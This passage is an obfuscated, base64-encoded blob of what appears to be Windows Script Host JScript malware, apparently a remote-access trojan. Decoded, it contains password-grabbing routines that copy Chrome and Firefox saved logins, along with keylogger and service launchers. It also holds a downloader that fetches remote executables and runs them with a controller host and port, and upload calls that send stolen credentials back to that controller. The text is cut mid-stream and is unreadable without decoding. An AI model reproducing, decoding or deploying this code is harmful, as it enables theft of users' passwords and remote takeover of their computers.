t;%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS&gt;&gt;%yOwoJCS&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLkNoYXJTZXQgPS&gt;&gt;%idXMtYXNjaWkiOwoJCS&gt;&gt;%gIGNvbnRlbnQgPSBvYmpzdHJlYW1kb3dubG9hZC5SZWFkVGV4dCgpOwoJCS&gt;&gt;%gIG5zcy&gt;&gt;%9IHNka3BhdGggKy&gt;&gt;%iXFxuc3MiOwoJCS&gt;&gt;%gIGNvbnRlbnQgPSBjb250ZW50LnJlcGxhY2UobmV3IFJlZ0V4cCgiJW5zcyUiLC&gt;&gt;%iZyIpLCBuc3MpOy&gt;&gt;%vL2ZvciBmaXJlZm94CgkJIC&gt;&gt;%gY29udGVudC&gt;&gt;%9IGNvbnRlbnQucmVwbGFjZShuZXcgUmVnRXhwKCIlcGF0aCUiLC&gt;&gt;%iZyIpLCBpbnN0YWxsZGlyICsgIkxvZ2luIERhdGEiKTsgLy9mb3IgY2hyb21lCgkJIC&gt;&gt;%gdmFyIHN3ID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoaW5zdGFsbGRpci&gt;&gt;%rICJydW5kbGwiLC&gt;&gt;%yLCB0cnVlKTsKCQkgICBzdy53cml0ZShjb250ZW50KTsKCQkgICBzdy5jbG9zZSgpOwoJCS&gt;&gt;%gIHN3ID0gbnVsbDsKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwoJCS&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQkgIH1jYXRjaChleil7fQoJCX0KCQkKCQlzaGVsbG9iai5ydW4oIiVjb21zcGVjJS&gt;&gt;%vYyBjZCBcIiIgKyBzZGtwYXRoICsgIlwiICYmICIgKyBnc3&gt;&gt;%oc2RrZmlsZSkgKy&gt;&gt;%iICIgKyBnc3&gt;&gt;%oaW5zdGFsbGRpci&gt;&gt;%rICJydW5kbGwiKS&gt;&gt;%rICIgPiBcIiIgKyBpbnN0YWxsZGlyICsgIndzaG91dFwiIiwgMCwgdHJ1ZSk7CgkJV1NjcmlwdC5zbGVlcCgyMD&gt;&gt;%wKTsKCQl2YXIgc3IgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgIndzaG91dCIpOwoJCWNvbnRlbnQgPSBzci5yZWFkYWxsKCk7CgkJc3IuY2xvc2UoKTsKCQlzci&gt;&gt;%9IG51bGw7CgkJCgkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKy&gt;&gt;%icnVuZGxsIik7CgkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKy&gt;&gt;%id3Nob3V0Iik7CgkJCgkJcG9zdChyZXRjbWQsIGNvbnRlbnQpOwoJfWNhdGNoKGVycil7Cgl9Cn0KCmZ1bmN0aW9uIGNocihjb2RlKXsKCXJldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKGNvZGUpOwp9CgpmdW5jdGlvbiBnc3&gt;&gt;%ocGF0aCl7CglyZXR1cm4gZmlsZXN5c3RlbW9iai5nZXRGaWxlKHBhdGgpLnNob3J0UGF0aDsKfQoKZnVuY3Rpb24gcGFzc2dyYWJiZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCByZXRjbWQpewp0cnl7Cgl2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKCXZhciBjb250ZW50LCBwcm9maWxlLCBmb2xkZXI7CgoJaWYgKHJldGNtZC&gt;&gt;%9PS&gt;&gt;%iaWUiKXsKCQljb250ZW50ID0gZGVjb2RlX2Jhc2U2NChmaWxldXJsKTsKCQlldmFsKGNvbnRlbnQpOwoJCXJldHVybjsKCX1lbHNlIGlmKHJldGNtZC&gt;&gt;%9PS&gt;&gt;%iY2hyb21lIil7CgkJZm9sZGVyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIldGVtcCUiKTsKCQlmb2xkZXIgPSBmb2xkZXIuc3Vic3RyKD&gt;&gt;%sIGZvbGRlci50b0xvd2VyQ2FzZSgpLmluZGV4T2YoInRlbX&gt;&gt;%iKSkgKy&gt;&gt;%iR29vZ2xlXFxDaHJvbWVcXFVzZXIgRGF0YVxcRGVmYXVsdFxcTG9naW4gRGF0YSI7CgkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoZm9sZGVyKS&gt;&gt;%pewoJCQlvYmpmc29kb3dubG9hZC5jb3B5RmlsZShmb2xkZXIsIGluc3RhbGxkaXIgKy&gt;&gt;%iTG9naW4gRGF0YSIsIHRydWUpOwoJCQkKCQkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc2RrZmlsZSkpewoJCQkJLy8ncHJvY2VlZCBkZWNvZGluZwoJCQkJZGVjb2RlX3Bhc3MocmV0Y21kKTsKCQkJCW9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoaW5zdGFsbGRpci&gt;&gt;%rICJMb2dpbiBEYXRhIik7CgkJCX1lbHNlewoJCQkJLy8ncmVxdWVzdCBmb3Igc2RrCgkJCQlwb3N0KCJzaG93LXRvYXN0IiwgIldTSCBTZGsgZm9yIHBhc3N3b3JkIHJlY292ZXJ5IG5vdCBmb3VuZCwgWW91IGNhbiBpbnN0YWxsIHRoaXMgU0RLIGZyb20gdGhlIHBhc3N3b3JkIHJlY292ZXJ5IG1lbnUiKTsKCQkJfQoJCX1lbHNlewoJCQlwb3N0KHJldGNtZCwgIk5vIFBhc3N3b3JkIEZvdW5kIik7CgkJfQoJfWVsc2UgaWYocmV0Y21kID09ICJtb3ppbGxhIil7CgkJZm9sZGVyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlYXBwZGF0YSUiKS&gt;&gt;%rICJcXE1vemlsbGFcXEZpcmVmb3hcXCI7CgkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMgKGZvbGRlci&gt;&gt;%rICJwcm9maWxlcy5pbmkiKSl7CgkJCWNvbnRlbnQgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShmb2xkZXIgKy&gt;&gt;%icHJvZmlsZXMuaW5pIikucmVhZGFsbCgpOwoJCQlpZi&gt;&gt;%oY29udGVudC5pbmRleE9mKCJQYXRoPSIpID4gMCkgewoJCQkJY29udGVudC&gt;&gt;%9IGNvbnRlbnQuc3Vic3RyKGNvbnRlbnQuaW5kZXhPZigiUGF0aD0iKS&gt;&gt;%rIDUpOwoJCQkJY29udGVudC&gt;&gt;%9IGNvbnRlbnQuc3Vic3RyKD&gt;&gt;%sIGNvbnRlbnQuaW5kZXhPZigiXHJcbiIpKTsKCQkJCXByb2ZpbGUgPS&gt;&gt;%oZm9sZGVyICsgY29udGVudCkucmVwbGFjZShuZXcgUmVnRXhwKCIvIiwgImciKSwgIlxcIik7CgkJCQlmb2xkZXIgPSBwcm9maWxlICsgIlxsb2dpbnMuanNvbiI7CgkJCQkKCQkJCWlmIChvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHNka2ZpbGUpKXsKCQkJCQkvLydwcm9jZWVkIGRlY29kaW5nCgkJCQkJZGVjb2RlX3Bhc3MocmV0Y21kKTsKCQkJCX1lbHNlewoJCQkJCS8vJ3JlcXVlc3QgZm9yIHNkawoJCQkJCXBvc3QoInNob3ctdG9hc3QiLC&gt;&gt;%iV1NIIFNkayBmb3IgcGFzc3dvcmQgcmVjb3Zlcnkgbm90IGZvdW5kLCBZb3UgY2FuIGluc3RhbGwgdGhpcyBTREsgZnJvbSB0aGUgcGFzc3dvcmQgcmVjb3ZlcnkgbWVudSIpOwoJCQkJfQoJCQl9ZWxzZXsKCQkJCXBvc3QocmV0Y21kLC&gt;&gt;%iTm8gUGFzc3dvcmQgRm91bmQiKTsKCQkJfQoJCX1lbHNlewoJCQlwb3N0KHJldGNtZCwgIk5vIFBhc3N3b3JkIEZvdW5kIik7CgkJfQoJfWVsc2V7CgkJcGFzc2dyYWJiZXIyKGZpbGV1cmwsIGZpbGVuYW1lLCByZXRjbWQpOwoJfQp9Y2F0Y2goZXJyKXt9CgkgIC&gt;&gt;%KfQoKZnVuY3Rpb24gVW5aaX&gt;&gt;%oemlwZmlsZSwgRXh0cmFjdFRvKXsKaWYoZmlsZXN5c3RlbW9iai5HZXRFeHRlbnNpb25OYW1lKHppcGZpbGUpID09ICJ6aX&gt;&gt;%iKXsKaWYoIWZpbGVzeXN0ZW1vYmouRm9sZGVyRXhpc3RzKEV4dHJhY3RUbykpewpmaWxlc3lzdGVtb2JqLkNyZWF0ZUZvbGRlcihFeHRyYWN0VG8pOwp9CnZhciBvYmpTaGVsbC&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpOwp2YXIgZGVzdGluYXRpb24gPSBvYmpTaGVsbC5OYW1lU3BhY2UoRXh0cmFjdFRvKTsKdmFyIHppcF9jb250ZW50ID0gb2JqU2hlbGwuTmFtZVNwYWNlKHppcGZpbGUpLkl0ZW1zKCk7IC&gt;&gt;%gCmZvcihpID0gMDsgaS&gt;&gt;%8IHppcF9jb250ZW50LkNvdW50OyBpKyspewppZihmaWxlc3lzdGVtb2JqLkZpbGVFeGlzdHMoZmlsZXN5c3RlbW9iai5CdWlsZHBhdGgoRXh0cmFjdFRvLHppcF9jb250ZW50Lml0ZW0oaSkubmFtZSkrIi4iK2ZpbGVzeXN0ZW1vYmouZ2V0RXh0ZW5zaW9uTmFtZSh6aXBfY29udGVudC5pdGVtKGkpLnBhdGgpKSl7CmZpbGVzeXN0ZW1vYmouRGVsZXRlRmlsZShmaWxlc3lzdGVtb2JqLkJ1aWxkcGF0aChFeHRyYWN0VG8semlwX2NvbnRlbnQuaXRlbShpKS5uYW1lKSsiLiIrZmlsZXN5c3RlbW9iai5nZXRFeHRlbnNpb25OYW1lKHppcF9jb250ZW50Lml0ZW0oaSkucGF0aCkpOwp9CmRlc3RpbmF0aW9uLmNvcHlIZXJlKHppcF9jb250ZW50Lml0ZW0oaSksIDIwKTsKfQp9Cn0KCmZ1bmN0aW9uIHBhc3NncmFiYmVyMihmaWxldXJsLCBmaWxlbmFtZSwgcmV0Y21kKXsKCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHRhc2traWxsIC9GIC9JTS&gt;&gt;%iICsgZmlsZW5hbWUsID&gt;&gt;%sIHRydWUpOwp0cnl7ZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyBmaWxlbmFtZS&gt;&gt;%rICJkYXRhIik7fWNhdGNoKGV5KXt9CnZhciBjb25maWdfZmlsZS&gt;&gt;%9IGluc3RhbGxkaXIgKyBmaWxlbmFtZS5zdWJzdHIoMCwgZmlsZW5hbWUubGFzdEluZGV4T2YoIi4iKSkgKy&gt;&gt;%iLmNmZyI7CnZhciBjZmcgPS&gt;&gt;%iW0dlbmVyYWxdXG5TaG93R3JpZExpbmVzPTBcblNhdmVGaWx0ZXJJbmRleD0wXG5TaG93SW5mb1RpcD0xXG5Vc2VQcm9maWxlRm9sZGVyPTBcblByb2ZpbGVGb2xkZXI9XG5NYXJrT2RkRXZlblJvd3M9MFxuV2luUG9zPTJDID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%xID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wIDgwID&gt;&gt;%yID&gt;&gt;%wID&gt;&gt;%wIEUwID&gt;&gt;%xID&gt;&gt;%wID&gt;&gt;%wXG5Db2x1bW5zPUZBID&gt;&gt;%wID&gt;&gt;%wID&gt;&gt;%wIEZBID&gt;&gt;%wID&gt;&gt;%xID&gt;&gt;%wIDZFID&gt;&gt;%wID&gt;&gt;%yID&gt;&gt;%wIDZFID&gt;&gt;%wID&gt;&gt;%zID&gt;&gt;%wIDc4ID&gt;&gt;%wID&gt;&gt;%0ID&gt;&gt;%wIDc4ID&gt;&gt;%wID&gt;&gt;%1ID&gt;&gt;%wIDc4ID&gt;&gt;%wID&gt;&gt;%2ID&gt;&gt;%wIDY0ID&gt;&gt;%wID&gt;&gt;%3ID&gt;&gt;%wIEZBID&gt;&gt;%wID&gt;&gt;%4ID&gt;&gt;%wXG5Tb3J0PT&gt;&gt;%iOwovL3dyaXRlIGNvbmZpZwp2YXIgd3JpdGVyID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoY29uZmlnX2ZpbGUsIDIsIHRydWUpOwp3cml0ZXIud3JpdGVMaW5lKGNmZyk7CndyaXRlci5jbG9zZSgpOwp3cml0ZXIgPSBudWxsOwoJIC&gt;&gt;%gCnZhciBzdHJsaW5rID0gZmlsZXVybDsKdmFyIHN0cnNhdmV0by&gt;&gt;%9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsKdmFyIG9iamh0dHBkb3dubG9hZC&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwpvYmpodHRwZG93bmxvYWQub3BlbigiZ2V0Iiwgc3RybGluaywgZmFsc2UpOwpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLC&gt;&gt;%ibWF4LWFnZT0wIik7Cm9iamh0dHBkb3dubG9hZC5zZW5kKCk7Cgp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC&gt;&gt;%gIG9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsKfQogCmlmIChvYmpodHRwZG93bmxvYWQuc3RhdHVzID09IDIwMCl7Ci&gt;&gt;%gIHZhci&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7Ci&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS&gt;&gt;%xOy&gt;&gt;%KIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOwogICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOwogICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwogICBvYmpzdHJlYW1kb3dubG9hZC&gt;&gt;%9IG51bGw7Cn0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC&gt;&gt;%gdmFyIHJ1bm5lci&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpOwogICB2YXIgc2F2ZXIgPSBvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoCi&gt;&gt;%gI&gt;&gt;%ogIC&gt;&gt;%vL3RyeS&gt;&gt;%xMCB0aW1lcyBiZWZvcmUgZ2l2ZXVwCi&gt;&gt;%gIGZvcih2YXIgaT0wOyBpPDU7IGkrKyl7CgkJc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7CgkJV1NjcmlwdC5zbGVlcCgxMD&gt;&gt;%wKTsKCQlydW5uZXIuc2hlbGxFeGVjdXRlKHNhdmVyLC&gt;&gt;%iIC9zdGV4dC&gt;&gt;%iICsgc2F2ZXIgKy&gt;&gt;%iZGF0YSIpOwoJCVdTY3JpcHQuc2xlZX&gt;&gt;%oMj&gt;&gt;%wMCk7CgkJaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzYXZlci&gt;&gt;%rICJkYXRhIikpewoJCQl2YXIgc3IgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShzYXZlci&gt;&gt;%rICJkYXRhIik7CgkJCXZhciBidWZmZXIgPSBzci5yZWFkYWxsKCk7CgkJCXNyLmNsb3NlKCk7CgkJCXNyID0gbnVsbDsKCQkJCgkJCXZhciBvdXRwYXRoID0gaW5zdGFsbGRpci&gt;&gt;%rICJ3c2hsb2dzXFxyZWNvdmVyZWRfcGFzc3dvcmRfZW1haWwubG9nIjsKCQkJdmFyIGZvbGRlci&gt;&gt;%9IG9iamZzb2Rvd25sb2FkLkdldFBhcmVudEZvbGRlck5hbWUob3V0cGF0aCk7CgoJCQlpZi&gt;&gt;%oIW9iamZzb2Rvd25sb2FkLkZvbGRlckV4aXN0cyhmb2xkZXIpKQoJCQl7CgkJCQlzaGVsbG9iai5ydW4oIiVjb21zcGVjJS&gt;&gt;%vYyBta2RpciBcIiIgKyBmb2xkZXIgKy&gt;&gt;%iXCIiLC&gt;&gt;%wLCB0cnVlKTsKCQkJfQoJCQl3cml0ZXIgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShvdXRwYXRoLC&gt;&gt;%yLCB0cnVlKTsKCQkJd3JpdGVyLndyaXRlKGJ1ZmZlcik7CgkJCXdyaXRlci5jbG9zZSgpOwoJCQl3cml0ZXIgPSBudWxsOwoJCQkKCQkJdXBsb2FkKHNhdmVyICsgImRhdGEiLCByZXRjbWQpOwoJCQlicmVhazsKCQl9Ci&gt;&gt;%gIH0KIC&gt;&gt;%gZGVsZXRlZmFmKHN0cnNhdmV0byk7Cn0KCn0KCmZ1bmN0aW9uIGtleWxvZ2dlcnN0YXJ0ZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCBmaWxlYXJnLCBpc19vZmZsaW5lKXsKc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7CnZhciBzdHJsaW5rID0gZmlsZXVybDsKdmFyIHN0cnNhdmV0by&gt;&gt;%9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsKdmFyIG9iamh0dHBkb3dubG9hZC&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIgKTsKb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsKb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoImNhY2hlLWNvbnRyb2w6IiwgIm1heC1hZ2U9MCIpOwpvYmpodHRwZG93bmxvYWQuc2VuZCgpOwoKdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7CmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7Ci&gt;&gt;%gICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7Cn0KI&gt;&gt;%ppZi&gt;&gt;%ob2JqaHR0cGRvd25sb2FkLnN0YXR1cy&gt;&gt;%9PS&gt;&gt;%yMD&gt;&gt;%pewogIHRyeXsKIC&gt;&gt;%gIHZhci&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7Ci&gt;&gt;%gICBvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsgCi&gt;&gt;%gICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7Ci&gt;&gt;%gICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKIC&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsKIC&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7Ci&gt;&gt;%gIC&gt;&gt;%KIC&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCX1jYXRjaChlcnIpewoJCXVwZGF0ZXN0YXR1cygiQWNjZXNzK0RlbmllZCIpOwoJfQogfQogaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC&gt;&gt;%gc2hlbGxvYmoucnVuKCJcIiIgKyBzdHJzYXZldG8gKy&gt;&gt;%iXCIgIi&gt;&gt;%rIGhvc3QgKy&gt;&gt;%iICIgKyBwb3J0ICsgIiBcIiIgKyBmaWxlYXJnICsgIlwiICIgKyBpc19vZmZsaW5lKTsKIH0gCn0KCmZ1bmN0aW9uIHNlcnZpY2VzdGFydGVyIChmaWxldXJsLCBmaWxlbmFtZSwgZmlsZWFyZyl7Ci&gt;&gt;%gICBzaGVsbG9iai5ydW4oIiVjb21zcGVjJS&gt;&gt;%vYyB0YXNra2lsbC&gt;&gt;%vRi&gt;&gt;%vSU0gIi&gt;&gt;%rIGZpbGVuYW1lLC&gt;&gt;%wLCB0cnVlKTsKIC&gt;&gt;%gIHZhciBzdHJsaW5rID0gZmlsZXVybDsKIC&gt;&gt;%gIHZhciBzdHJzYXZldG8gPSBpbnN0YWxsZGlyICsgZmlsZW5hbWU7Ci&gt;&gt;%gICB2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIi&gt;&gt;%pOwogIC&gt;&gt;%gb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsKIC&gt;&gt;%gIG9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJjYWNoZS1jb250cm9sOiIsICJtYXgtYWdlPT&gt;&gt;%iKTsKIC&gt;&gt;%gIG9iamh0dHBkb3dubG9hZC5zZW5kKCk7Ci&gt;&gt;%gIC&gt;&gt;%KIC&gt;&gt;%gIHZhciBvYmpmc29kb3dubG9hZC&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOwogIC&gt;&gt;%gaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC&gt;&gt;%gIC&gt;&gt;%gICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7Ci&gt;&gt;%gICB9Ci&gt;&gt;%gIC&gt;&gt;%gCi&gt;&gt;%gICBpZi&gt;&gt;%ob2JqaHR0cGRvd25sb2FkLnN0YXR1cy&gt;&gt;%9PS&gt;&gt;%yMD&gt;&gt;%pewoJICB0cnl7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gdmFyICBvYmpzdHJlYW1kb3dubG9hZC&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsKIC&gt;&gt;%gIC&gt;&gt;%gICBvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsgCi&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOwogIC&gt;&gt;%gIC&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOwogIC&gt;&gt;%gIC&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsKIC&gt;&gt;%gIC&gt;&gt;%gICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwogIC&gt;&gt;%gIC&gt;&gt;%gI&gt;&gt;%ogIC&gt;&gt;%gIC&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCS&gt;&gt;%gfWNhdGNoKGVycil7CgkJdXBkYXRlc3RhdHVzKCJBY2Nlc3MrRGVuaWVkIik7CgkgIH0KIC&gt;&gt;%gICB9Ci&gt;&gt;%gIC&gt;&gt;%gaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC&gt;&gt;%gIC&gt;&gt;%gICBzaGVsbG9iai5ydW4oIlwiIi&gt;&gt;%rIHN0cnNhdmV0by&gt;&gt;%rICJcIi&gt;&gt;%iICsgaG9zdC&gt;&gt;%rICIgIi&gt;&gt;%rIHBvcnQgKy&gt;&gt;%iIFwiIi&gt;&gt;%rIGZpbGVhcmcgKy&gt;&gt;%iXCIiKTsKIC&gt;&gt;%gIC&gt;&gt;%gfS&gt;&gt;%gCn0KCmZ1bmN0aW9uIHNpdGVkb3dubG9hZGVyIChmaWxldXJsLGZpbGVuYW1lKXsKCi&gt;&gt;%gICB2YXIgc3RybGluay&gt;&gt;%9IGZpbGV1cmw7Ci&gt;&gt;%gICB2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpci&gt;&gt;%rIGZpbGVuYW1lOwogIC&gt;&gt;%gdmFyIG9iamh0dHBkb3dubG9hZC&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIuc2VydmVyeG1saHR0cCIgKTsKIC&gt;&gt;%gIG9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7Ci&gt;&gt;%gICBvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbCIsICJtYXgtYWdlPT&gt;&gt;%iKTsKIC&gt;&gt;%gIG9iamh0dHBkb3dubG9hZC5zZW5kKCk7Ci&gt;&gt;%gIC&gt;&gt;%KIC&gt;&gt;%gIHZhciBvYmpmc29kb3dubG9hZC&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOwogIC&gt;&gt;%gaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC&gt;&gt;%gIC&gt;&gt;%gICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7Ci&gt;&gt;%gICB9Ci&gt;&gt;%gIC&gt;&gt;%gCi&gt;&gt;%gICBpZi&gt;&gt;%ob2JqaHR0cGRvd25sb2FkLnN0YXR1cy&gt;&gt;%9PS&gt;&gt;%yMD&gt;&gt;%pewogIC&gt;&gt;%gIC&gt;&gt;%gIHZhci&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuVHlwZS&gt;&gt;%9IDE7I&gt;&gt;%ogIC&gt;&gt;%gIC&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsKIC&gt;&gt;%gIC&gt;&gt;%gICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKIC&gt;&gt;%gIC&gt;&gt;%gICBvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%KIC&gt;&gt;%gIC&gt;&gt;%gICBvYmpzdHJlYW1kb3dubG9hZC&gt;&gt;%9IG51bGw7Ci&gt;&gt;%gIC&gt;&gt;%gfQogIC&gt;&gt;%gIGlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gc2hlbGxvYmoucnVuKG9iamZzb2Rvd25sb2FkLmdldEZpbGUoc3Ryc2F2ZXRvKS5zaG9ydFBhdGgpOwogIC&gt;&gt;%gIC&gt;&gt;%gIHVwZGF0ZXN0YXR1cygiRXhlY3V0ZWQrRmlsZSIpOwogIC&gt;&gt;%gIH0KfQoKZnVuY3Rpb24gZG93bmxvYWQgKGZpbGV1cmwsZmlsZWRpcil7Ci&gt;&gt;%gICBpZihmaWxlZGlyID09ICIiKXsgCi&gt;&gt;%gICBmaWxlZGlyID0gaW5zdGFsbGRpcjsKIC&gt;&gt;%gIH0KCi&gt;&gt;%gICBzdHJzYXZldG8gPSBmaWxlZGlyICsgZmlsZXVybC5zdWJzdHIoZmlsZXVybC5sYXN0SW5kZXhPZigiXFwiKS&gt;&gt;%rIDEpOwogIC&g